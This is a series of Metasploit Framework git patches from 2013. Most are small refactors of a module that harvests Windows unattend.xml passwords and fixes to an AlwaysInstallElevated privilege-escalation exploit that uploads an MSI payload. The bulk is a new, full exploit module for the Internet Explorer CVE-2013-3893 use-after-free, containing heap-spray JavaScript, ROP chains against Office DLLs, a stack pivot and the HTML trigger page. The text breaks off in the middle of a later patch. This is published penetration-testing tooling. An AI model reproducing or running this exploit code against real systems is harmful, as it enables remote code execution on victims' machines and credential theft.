38733725d2..8fea1c2c02 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1727,12 +1727,12 @@ def self.to_vba(framework,code,opts={}) output end - def self.to_executable_fmt_formats - [ - 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', - 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac' - ] - end + def self.to_executable_fmt_formats + [ + 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', + 'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac' + ] + end # # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR From 5e77dccd4827a8d0bc97bf81ba362d49366aa55f Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 15:45:57 -0500 Subject: [PATCH 068/210] Add a ref to an example unattend.xml --- modules/auxiliary/parser/unattend.rb | 3 ++- modules/post/windows/gather/enum_unattend.rb | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index 32f5ab5ff9..afbd13e6b2 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -25,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + ['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'] ], )) diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index ebe1c06a11..20517ad22a 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -32,7 +32,8 @@ class Metasploit3 < Msf::Post 'References' => [ ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], + ['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580'] ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] From 37e4d58f4ad5b6600cadb835c7a66aab805610ed Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 15:48:48 -0500 Subject: [PATCH 069/210] Call CSV text/plain so it can be viewed normally Otherwise, things parsing through the loot table will treat it as binary data, and not display it in a normal texty way, even though it's totally readable with just a little squinting. --- modules/post/windows/gather/enum_unattend.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 20517ad22a..b328062991 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Post def save_cred_tables(cred_table) t = cred_table vprint_line("\n#{t.to_s}\n") - p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) + p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header) print_status("#{t.header} saved as: #{p}") end From ae655e42d225b0a847f1e4d3c05825d7e88593fe Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 15:53:46 -0500 Subject: [PATCH 070/210] Touchups: boolean check, unless, and TODO comment --- modules/post/windows/gather/enum_unattend.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index b328062991..55183dbd2d 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Post # def unattend_exists?(xml_path) x = session.fs.file.stat(xml_path) rescue nil - return !x.nil? + return !!x end @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Post def run init_paths.each do |xml_path| # If unattend.xml doesn't exist, move on to the next one - if not unattend_exists?(xml_path) + unless unattend_exists?(xml_path) vprint_error("#{xml_path} not found") next end @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Post table.print unless table.nil? print_line - # Save the data + # Save the data to a file, TODO: Save this as a Mdm::Cred maybe save_cred_tables(table) if not table.nil? return if not datastore['GETALL'] From d869b1bb707fbffe1acdffad2380750b41776091 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 15:55:57 -0500 Subject: [PATCH 071/210] Unless, unless everywhere. --- lib/rex/parser/unattend.rb | 2 +- modules/post/windows/gather/enum_unattend.rb | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index e12d83ec2f..fdce92220e 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -108,7 +108,7 @@ class Unattend password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') end - if not password.empty? + unless password.empty? results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 55183dbd2d..15a24fe558 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -144,7 +144,7 @@ class Metasploit3 < Msf::Post # If there is one for registry, we add it to the list too reg_path = get_registry_unattend_path - paths << reg_path if not reg_path.empty? + paths << reg_path unless reg_path.empty? return paths end @@ -162,7 +162,7 @@ class Metasploit3 < Msf::Post save_raw(xml_path, raw) # XML failed to parse, will not go on from here - return if not xml + return unless xml results = Rex::Parser::Unattend.parse(xml) table = Rex::Parser::Unattend.create_table(results) @@ -170,9 +170,9 @@ class Metasploit3 < Msf::Post print_line # Save the data to a file, TODO: Save this as a Mdm::Cred maybe - save_cred_tables(table) if not table.nil? + save_cred_tables(table) unless table.nil? - return if not datastore['GETALL'] + return unless datastore['GETALL'] end end From 63d638888d4a0d3e259cacf180d772b8ab1dd538 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 27 Sep 2013 16:04:03 -0500 Subject: [PATCH 072/210] Get rid of interior tabs --- lib/rex/parser/unattend.rb | 6 +++--- modules/auxiliary/parser/unattend.rb | 13 +++++++------ 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index fdce92220e..0f8c3f27f7 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -39,7 +39,7 @@ class Unattend # def self.extract_deployment(deployment) return [] if deployment.nil? - domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' + domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' @@ -57,7 +57,7 @@ class Unattend # def self.extract_domain_join(credentials) return [] if credentials.nil? - domain = credentials.elements['Domain'].get_text.value rescue '' + domain = credentials.elements['Domain'].get_text.value rescue '' username = credentials.elements['Username'].get_text.value rescue '' password = credentials.elements['Password'].get_text.value rescue '' @@ -70,7 +70,7 @@ class Unattend def self.extract_autologon(auto_logon) return [] if auto_logon.nil? - domain = auto_logon.elements['Domain'].get_text.value rescue '' + domain = auto_logon.elements['Domain'].get_text.value rescue '' username = auto_logon.elements['Username'].get_text.value rescue '' password = auto_logon.elements['Password/Value'].get_text.value rescue '' plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index afbd13e6b2..ae443334ef 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -12,17 +12,18 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super( update_info( info, - 'Name' => 'Auxilliary Parser Windows Unattend Passwords', - 'Description' => %q{ + 'Name' => 'Auxilliary Parser Windows Unattend Passwords', + 'Description' => %q{ This module parses Unattend files in the target directory. See also: post/windows/gather/enum_unattend }, - 'License' => MSF_LICENSE, - 'Author' =>[ - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', ], - 'References' => + 'References' => [ ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'], From 29a7059eb414b487bbf593b8de4cf09af92da009 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 29 Sep 2013 17:08:04 +0100 Subject: [PATCH 073/210] Update AlwaysInstallElevated to use a generated MSI file Fixes bugs with MSI::UAC option, invalid logic and typo... --- lib/msf/core/exploit/exe.rb | 2 +- lib/msf/util/exe.rb | 4 +- .../windows/local/always_install_elevated.rb | 48 ++++++------------- 3 files changed, 18 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index ab8e34eb35..cfee6d58af 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -112,7 +112,7 @@ module Exploit::EXE opts.merge! ({ :msi_template => datastore['MSI::Template'], :msi_template_path => datastore['MSI::Path'], - :uac => datastore['MSI:UAC'] + :uac => datastore['MSI::UAC'] }) msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 8fea1c2c02..43ad61470e 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -495,9 +495,9 @@ require 'msf/core/exe/segment_injector' # def self.to_exe_msi(framework, exe, opts={}) if opts[:uac] - opts[:msi_template] ||= "template_nouac_windows.msi" - else opts[:msi_template] ||= "template_windows.msi" + else + opts[:msi_template] ||= "template_nouac_windows.msi" end return replace_msi_buffer(exe, opts) end diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 95fe5c0ba9..5477fceccc 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -9,12 +9,13 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Local - Rank = AverageRanking + Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Registry - include Msf::Exploit::FileDropper + def initialize(info={}) super(update_info(info, { @@ -22,22 +23,11 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module checks the AlwaysInstallElevated registry keys which dictate if .MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM). - - The default MSI file is data/exploits/exec_payload.msi with the WiX source file - under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply - executes payload.exe within the same folder. - - The MSI may not execute succesfully successive times, but may be able to get around - this by regenerating the MSI. - - MSI can be rebuilt from the source using the WIX tool with the following commands: - candle exec_payload.wxs - light exec_payload.wixobj }, 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell', + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', 'Parvez Anwar' # discovery?/inspiration ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], @@ -46,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Local 'DefaultOptions' => { 'WfsDelay' => 10, - 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -k -f' + 'EXITFUNC' => 'process', + 'MSI::UAC' => true }, 'Targets' => [ @@ -57,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Local [ [ 'URL', 'http://www.greyhathacker.net/?p=185' ], [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ], - [ 'URL', 'http://wix.sourceforge.net'] , + [ 'URL', 'http://wix.sourceforge.net'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html'] ], 'DisclosureDate'=> 'Mar 18 2010', 'DefaultTarget' => 0 @@ -106,24 +97,15 @@ class Metasploit3 < Msf::Exploit::Local return end - msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi" - msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi") + msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi" + msi_source = generate_payload_msi # Upload MSI - @msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped - print_status("Uploading the MSI to #{@msi_destination} ...") + msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped + print_status("Uploading the MSI to #{msi_destination} ...") - #upload_file - ::File.read doesn't appear to work in windows... - source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) } - write_file(@msi_destination, source) - register_file_for_cleanup(@msi_destination) - - # Upload payload - payload = generate_payload_exe - @payload_destination = expand_path("%TEMP%\\payload.exe").strip - print_status("Uploading the Payload to #{@payload_destination} ...") - write_file(@payload_destination, payload) - register_file_for_cleanup(@payload_destination) + write_file(msi_destination, msi_source) + register_file_for_cleanup(msi_destination) # Execute MSI print_status("Executing MSI...") @@ -140,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Local quiet = "" end - cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}" + cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}" vprint_status("Executing: #{cmd}") begin result = cmd_exec(cmd) From b306415ecf0eeeafdce48ddbbeff524ba95d087a Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sun, 29 Sep 2013 17:22:56 +0100 Subject: [PATCH 074/210] Tidy and updates to info --- .../windows/local/always_install_elevated.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index 5477fceccc..3078d265de 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -21,8 +21,12 @@ class Metasploit3 < Msf::Exploit::Local super(update_info(info, { 'Name' => 'Windows AlwaysInstallElevated MSI', 'Description' => %q{ - This module checks the AlwaysInstallElevated registry keys which dictate if + This module checks the AlwaysInstallElevated registry keys which dictates if .MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM). + The generated .MSI file has an embedded executable which is extracted and run + by the installer. After execution the .MSI file intentionally fails installation + (by calling some invalid VBS) to prevent it being registered on the system. + By running this with the /quiet argument the error will not be seen by the user. }, 'License' => MSF_LICENSE, 'Author' => @@ -47,7 +51,6 @@ class Metasploit3 < Msf::Exploit::Local [ [ 'URL', 'http://www.greyhathacker.net/?p=185' ], [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ], - [ 'URL', 'http://wix.sourceforge.net'], [ 'URL', 'http://rewtdance.blogspot.co.uk/2013/03/metasploit-msi-payload-generation.html'] ], 'DisclosureDate'=> 'Mar 18 2010', @@ -93,23 +96,18 @@ class Metasploit3 < Msf::Exploit::Local def exploit - if check != Msf::Exploit::CheckCode::Vulnerable - return - end + return unless check == Msf::Exploit::CheckCode::Vulnerable msi_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi" msi_source = generate_payload_msi # Upload MSI - msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped + msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip print_status("Uploading the MSI to #{msi_destination} ...") write_file(msi_destination, msi_source) register_file_for_cleanup(msi_destination) - # Execute MSI - print_status("Executing MSI...") - if datastore['LOG_FILE'].nil? logging = "" else @@ -123,6 +121,8 @@ class Metasploit3 < Msf::Exploit::Local end cmd = "msiexec.exe #{logging}#{quiet}/package #{msi_destination}" + + print_status("Executing MSI...") vprint_status("Executing: #{cmd}") begin result = cmd_exec(cmd) From a5ade93ab2655f7592642df6ed01e3c8470dd252 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 29 Sep 2013 18:24:13 -0500 Subject: [PATCH 075/210] Add CVE-2013-3893 Internet Explorer SetMouseCapture Use-After-Free This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack. --- .../windows/browser/ie_setmousecapture_uaf.rb | 387 ++++++++++++++++++ 1 file changed, 387 insertions(+) create mode 100644 modules/exploits/windows/browser/ie_setmousecapture_uaf.rb diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb new file mode 100644 index 0000000000..e4c7212e23 --- /dev/null +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -0,0 +1,387 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability that currents targets Internet + Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. + It was initially found in the wild in Japan, but other regions such as English, + Chinese, Korean, etc, were targeted as well. + + The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a + reference during an event. An attacker first can setup two elements, where the second + is the child of the first, and then setup a onlosecapture event handler for the parent + element. The onlosecapture event seems to require two setCapture() calls to trigger, + one for the parent element, one for the child. When the setCapture() call for the child + element is called, it finally triggers the event, which allows the attacker to cause an + arbitrary memory release using document.write(), which in particular frees up a 0x54-byte + memory. The exact size of this memory may differ based on the version of IE. After the + free, an invalid reference will still be kept and pass on to more functions, eventuall + this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary + code execution) when this function attempts to use this reference to call what appears to + be a PrivateQueryInterface due to the offset (0x00). + + To mimic the same exploit found in the wild, this module will try to use the same DLL + from Microsoft Office 2007 or 2010 to leverage the attack. + + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild first spotted in Japan + 'sinn3r' # Metasploit (thx binjo for the heads up!) + ], + 'References' => + [ + [ 'CVE', '2013-3893' ], + [ 'OSVDB', '97380' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 + }, + 'DefaultOptions' => + { + 'PrependMigrate' => true, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + end + + def is_win7_ie9?(agent) + (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) + end + + def get_preq_html(cli, req) + %Q| +<html> +<script> + function getDLL() { + var checka = 0; + var checkb = 0; + + try { + checka = new ActiveXObject("SharePoint.OpenDocuments.4"); + } catch (e) {} + + try { + checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); + } catch (e) {} + + if ((typeof checka) == "object" && (typeof checkb) == "object") { + return "office2010"; + } + else if ((typeof checka) == "number" && (typeof checkb) == "object") { + return "office2007"; + } + + return "na"; + } + + window.onload = function() { + document.location = "#{get_resource}/#{@exploit_page}?dll=" + getDLL(); + } +</script> +</html> + | + end + + def junk + return rand_text_alpha(4).unpack("V")[0].to_i + end + + def get_payload(rop_dll) + code = payload.encoded + rop = '' + p = '' + + case rop_dll + when :office2007 + rop = + [ + junk, # Alignment + 0x51c46f91, # POP EBP # RETN [hxds.dll] + 0x51c46f91, # skip 4 bytes [hxds.dll] + 0x51c35a4d, # POP EBX # RETN [hxds.dll] + 0xffffffff, + 0x51bd90fd, # INC EBX # RETN [hxds.dll] + 0x51bd90fd, # INC EBX # RETN [hxds.dll] + 0x51bfa98e, # POP EDX # RETN [hxds.dll] + 0xffffefff, + 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] + 0x51c1df88, # NEG EAX # RETN [hxds.dll] + 0x51c55c45, # DEC EAX, RETN [hxds.dll] + 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] + 0x51c4c17c, # POP ECX # RETN [hxds.dll] + 0xffffffc0, + 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] + 0x51c1df88, # NEG EAX # RETN [hxds.dll] + 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] + 0x51c05766, # POP EDI # RETN [hxds.dll] + 0x51bfbaaf, # RETN (ROP NOP) [hxds.dll] + 0x51c2e77d, # POP ESI # RETN [hxds.dll] + 0x51bfc840, # JMP [EAX] [hxds.dll] + 0x51c05266, # POP EAX # RETN [hxds.dll] + 0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll] + 0x51bdf91f, # PUSHAD # RETN [hxds.dll] + 0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll] + ].pack("V*") + + when :office2010 + rop = + [ + # 4 dword junks due to the add esp in stack pivot + junk, + junk, + junk, + junk, + 0x51c41953, # POP EBP # RETN [hxds.dll] + 0x51be3a03, # RETN (ROP NOP) [hxds.dll] + 0x51c41953, # skip 4 bytes [hxds.dll] + 0x51c4486d, # POP EBX # RETN [hxds.dll] + 0xffffffff, + 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] + 0x51bd1a77, # INC EAX # RETN [hxds.dll] + 0x51bd1a77, # INC EAX # RETN [hxds.dll] + 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] + 0x51bfa298, # POP EDX # RETN [hxds.dll] + 0xffffefff, + 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] + 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] + junk, + 0x51bd5382, # DEC EAX # RETN [hxds.dll] + 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] + 0x51c1f094, # POP ECX # RETN [hxds.dll] + 0xffffffc0, + 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] + 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] + junk, + 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] + 0x51bf1ff0, # POP EDI # RETN [hxds.dll] + 0x51bd5383, # RETN (ROP NOP) [hxds.dll] + 0x51c07c8b, # POP ESI # RETN [hxds.dll] + 0x51bfc7cb, # JMP [EAX] [hxds.dll] + 0x51c44707, # POP EAX # RETN [hxds.dll] + 0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll] + 0x51c3604e, # PUSHAD # RETN [hxds.dll] + 0x51c541ef, # ptr to 'jmp esp' [hxds.dll] + ].pack("V*") + end + + p = rop + code + p + end + + def get_exploit_html(cli, req, rop_dll) + gadgets = {} + case rop_dll + when :office2007 + # 0x30281020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x30280f5c + + # mov eax, [esi] + # push esi + # call [eax+4] + gadgets[:call_eax] = 0x51bd1ce8 + + # xchg eax,esp + # add byte [eax], al + # pop esi + # mov [edi+23c], ebp + # mov [edi+238], ebp + # mov [edi+234], ebp + # pop ebp + # pop ebx + # ret + gadgets[:pivot] = 0x51be4418 + + when :office2010 + # 0x30200020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x301fff5c + + # mov eax, [esi] + # push esi + # call [eax+4] + gadgets[:call_eax] = 0x51bd1a41 + + # xchg eax,esp + # add eax,dword ptr [eax] + # add esp,10 + # mov eax,esi + # pop esi + # pop ebp # retn 4 + gadgets[:pivot] = 0x51c00e64 + end + + p1 = + [ + gadgets[:target], # Target address + gadgets[:pivot] # stack pivot + ].pack("V*") + + p1 << get_payload(rop_dll) + + p2 = + [ + gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) + ].pack("V*") + + js_p1 = Rex::Text.to_unescape(p1) + js_p2 = Rex::Text.to_unescape(p2) + + %Q| +<html> +<script> +#{js_property_spray} + +function loadOffice() { + try{location.href='ms-help://'} catch(e){} +} + +var a = new Array(); +function spray() { + var obj = ''; + for (i=0; i<20; i++) { + if (i==0) { obj += "\\u2020\\u2030"; } + else { obj += "\\u4242\\u4242"; } + } + obj += "\\u5555"; + + for (i=0; i<10; i++) { + var e = document.createElement("div"); + e.className = obj; + a.push(e); + } + + var s1 = unescape("#{js_p1}"); + sprayHeap({shellcode:s1, maxAllocs:0x300}); + var s2 = unescape("#{js_p2}"); + sprayHeap({shellcode:s2, maxAllocs:0x300}); +} + +function hit() +{ + var id_0 = document.createElement("sup"); + var id_1 = document.createElement("audio"); + + document.body.appendChild(id_0); + document.body.appendChild(id_1); + id_1.applyElement(id_0); + + id_0.onlosecapture=function(e) { + document.write(""); + spray(); + } + + id_0['outerText']=""; + id_0.setCapture(); + id_1.setCapture(); +} + +for (i=0; i<20; i++) { + document.createElement("frame"); +} + +window.onload = function() { + loadOffice(); + hit(); +} +</script> +</html> + | + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + unless is_win7_ie9?(agent) + print_error("Not a suitable target: #{agent}") + send_not_found(cli) + end + + html = '' + if request.uri =~ /\?dll=(\w+)$/ + rop_dll = '' + if $1 == 'office2007' + print_status("Using Office 2007 ROP chain") + rop_dll = :office2007 + elsif $1 == 'office2010' + print_status("Using Office 2010 ROP chain") + rop_dll = :office2010 + else + print_error("Target does not have Office installed") + send_not_found(cli) + return + end + + html = get_exploit_html(cli, request, rop_dll) + else + print_status("Checking target requirements...") + html = get_preq_html(cli, request) + end + + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + + def exploit + @exploit_page = "default.html" + super + end + +end + +=begin + +hxds.dll (Microsoft® Help Data Services Module) + + 2007 DLL info: + ProductVersion: 2.05.50727.198 + FileVersion: 2.05.50727.198 (QFE.050727-1900) + + 2010 DLL info: + ProductVersion: 2.05.50727.4039 + FileVersion: 2.05.50727.4039 (QFE.050727-4000) + +mshtml.dll + ProductVersion: 9.00.8112.16446 + FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) + FileDescription: Microsoft (R) HTML Viewer + + +0:005> r +eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34 +eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +MSHTML!CTreeNode::GetInterface+0xd8: +679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=???????? + + +66e13df7 8b0e mov ecx,dword ptr [esi] +66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000) +66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] +66e13e01 ffd0 call eax + +=end \ No newline at end of file From b9aae1c93cefbb049ebeb5c6cfa03ae20a3ab942 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Sun, 29 Sep 2013 18:45:30 -0500 Subject: [PATCH 076/210] Higher address seems better --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index e4c7212e23..9dd53f9c11 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -200,8 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote gadgets = {} case rop_dll when :office2007 - # 0x30281020-0xc4, pointer to gadgets[:call_eax] - 